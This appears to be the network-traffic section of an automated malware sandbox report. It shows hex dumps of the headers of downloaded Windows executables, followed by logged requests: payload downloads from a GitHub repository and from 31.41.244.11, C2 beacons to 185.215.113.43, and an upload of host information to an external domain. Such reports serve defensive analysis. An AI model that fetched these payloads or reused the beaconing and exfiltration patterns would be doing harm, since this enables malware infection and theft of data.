00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Dec 2024 21:17:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:18:00 GMTContent-Type: application/octet-streamContent-Length: 605696Last-Modified: Thu, 12 Dec 2024 15:01:10 GMTConnection: keep-aliveETag: "675afab6-93e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 4d 93 ba 99 09 f2 d4 ca 09 f2 d4 ca 09 f2 d4 ca 42 8a d7 cb 0c f2 d4 ca 42 8a d1 cb b6 f2 d4 ca 19 76 d7 cb 03 f2 d4 ca 19 76 d0 cb 18 f2 d4 ca 42 8a d2 cb 08 f2 d4 ca 19 76 d1 cb 63 f2 d4 ca 52 9a d5 cb 0b f2 d4 ca 42 8a d0 cb 12 f2 d4 ca 42 8a d5 cb 18 f2 d4 ca 09 f2 d5 ca cf f2 d4 ca 42 77 dd cb 0c f2 d4 ca 42 77 2b ca 08 f2 d4 ca 09 f2 43 ca 08 f2 d4 ca 42 77 d6 cb 08 f2 d4 ca 52 69 63 68 09 f2 d4 ca 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 31 b5 31 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 ee 06 00 00 6c 02 00 00 00 00 00 0c 32 04 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 09 00 00 04 00 00 00 00 00 00 02 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 98 be 08 00 b4 00 00 00 00 60 09 00 48 04 00 00 00 10 09 00 74 4c 00 00 00 00 00 00 00 00 00 00 00 70 09 00 90 0b 00 00 80 04 08 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 06 08 00 28 00 00 00 40 03 08 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 07 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 3e ec 06 00 00 10 00 00 00 ee 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 64 ce 01 00 00 00 07 00 00 d0 01 00 00 f2 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 3b 00 00 00 d0 08 00 00 1c 00 00 00 c2 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 74 4c 00 00 00 10 09 00 00 4e 00 00 00 de 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 48 04 00 00 00 60 09 00 00 06 00 00 00 2c 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 90 0b 00 00 00 70 09 00 00 0c 00 00 00 32 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:18:05 GMTContent-Type: application/octet-streamContent-Length: 3272704Last-Modified: Sat, 21 Dec 2024 21:06:30 GMTConnection: keep-aliveETag: "67672dd6-31f000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 31 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 32 00 00 04 00 00 bc b0 32 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 d4 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 df 31 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 de 31 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 d4 05 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 63 6f 70 72 6c 6e 73 00 30 2b 00 00 b0 06 00 00 30 2b 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6d 72 7a 72 6d 62 62 72 00 10 00 00 00 e0 31 00 00 06 00 00 00 c8 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 31 00 00 22 00 00 00 ce 31 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 21 Dec 2024 21:18:07 GMTContent-Type: application/octet-streamContent-Length: 4534272Last-Modified: Sat, 21 Dec 2024 21:12:07 GMTConnection: keep-aliveETag: "67672f27-453000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 c6 e7 66 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 4e 00 00 c6 74 00 00 32 00 00 00 40 c9 00 00 10 00 00 00 f0 4e 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 70 c9 00 00 04 00 00 48 4b 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 10 72 00 73 00 00 00 00 00 72 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 20 c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 20 c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 f0 71 00 00 10 00 00 00 a0 28 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 00 72 00 00 02 00 00 00 b0 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 10 72 00 00 02 00 00 00 b2 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 b0 3a 00 00 20 72 00 00 02 00 00 00 b4 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 67 6e 6c 72 72 74 78 00 60 1c 00 00 d0 ac 00 00 54 1c 00 00 b6 28 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 67 65 69 68 69 6f 69 00 10 00 00 00 30 c9 00 00 04 00 00 00 0a 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 40 c9 00 00 22 00 00 00 0e 45 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Sat, 21 Dec 2024 21:18:08 GMTServer: Apache/2.4.52 (Ubuntu)Content-Disposition: attachment; filename="dll";Content-Length: 242176Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 4a 6c ef 58 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 a8 03 00 00 08 00 00 00 00 00 00 2e c6 03 00 00 20 00 00 00 e0 03 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 04 00 00 02 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d4 c5 03 00 57 00 00 00 00 e0 03 00 10 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 34 a6 03 00 00 20 00 00 00 a8 03 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 10 04 00 00 00 e0 03 00 00 06 00 00 00 aa 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 04 00 00 02 00 00 00 b0 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 c6 03 00 00 00 00 00 48 00 00 00 02 00 05 00 a0 60 02 00 34 65 01 00 01 00 00 00 00 00 00 00 90 55 01 00 10 0b 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7d 00 59 00 79 00 3d 00 7b 00 58 00 78 00 3d 00 8a 72 93 00 00 70 04 6f 32 00 00 0a 8c 6f 00 00 01 28 33 00 00 0a 02 04 6f 32 00 00 0a 7d 05 00 00 04 2a 3a 02 03 73 01 00 00 06 04 28 02 00 00 06 2a 1e 17 80 06 00 00 04 2a 32 72 df 00 00 70 28 3b 00 00 0a 26 2a 56 72 a8 0f 00 70 80 07 00 00 04 72 a8 0f 00 70 80 08 00 00 04 2a 1e 02 28 1f 00 00 0a 2a 3e 02 fe 15 06 00 00 02 02 03 7d 09 00 00 04 2a be 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 28 45 00 00 0a 7d 09 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 47 00 00 0a 26 2a 3e 02 fe 15 07 00 00 02 02 03 7d 0e 00 00 04 2a aa 02 03 28 43 00 00 0a 04 d6 8c 6f 00 00 01 28 44 00 00 0a 7d 0e 00 00 04 02 28 46 00 00 0a 28 45 00 00 0a 28 48 00 00 0a 26 2a 22 02 fe 15 08 00 00 02 2a 3e 02 fe 15 09 00 00 02 02 03 7d 18 00 00 04 2a 52 02 03 7d 20 00 00 04 02 02 7b 20 00 00 04 6f 6f 00 00 0a 2a 1e 02 7b 20 00 00 04 2a 22 02 03 7d 21 00 00 04 2a 1e 02 7b 21 00 00 04 2a ea 02 03 7d 1f 00 00 04 0
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /ip HTTP/1.1Host: httpbin.orgAccept: */*
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /k04ael HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: github.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/ktyihkdfesf.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /Urijas/moperats/refs/heads/main/biyjdfjadaw.exe HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 31 32 37 37 37 42 35 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB12777B55E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic HTTP traffic detected: GET /files/Krokodyl02/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 36 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019663001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/fate/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 36 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019664001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/karl/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 36 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019667001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/unique1/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 39 36 36 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1019668001&unit=246122658369
Source: global traffic HTTP traffic detected: GET /files/unique2/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic HTTP traffic detected: POST /TQIuuaqjNpwYjtUvFojm1734579850 HTTP/1.1Host: home.twentytk20ht.topAccept: */*Content-Type: application/jsonContent-Length: 496863Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 38 31 35 38 30 32 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 69 73 74 72 79 22 2c 20 22 70 69 64 22 3a 20 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 6d 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 33 32 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 30 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 69 6e 69 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 38 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 63 73 72 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 34 39 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 77 69 6e 6c 6f 67 6f 6e 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 35 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 65 72 76 69 63 65 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 6c 73 61 73 73 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 36 32 38 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 73 76 63 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 35 32 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 37 36 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 66 6f 6e 74 64 72 76 68 6f 73 74 2e 65 78 65 22 2c 20 22 70 69 64 22 3a 20 37 38 34 20 7d 2c 20 7b 20 22 6e 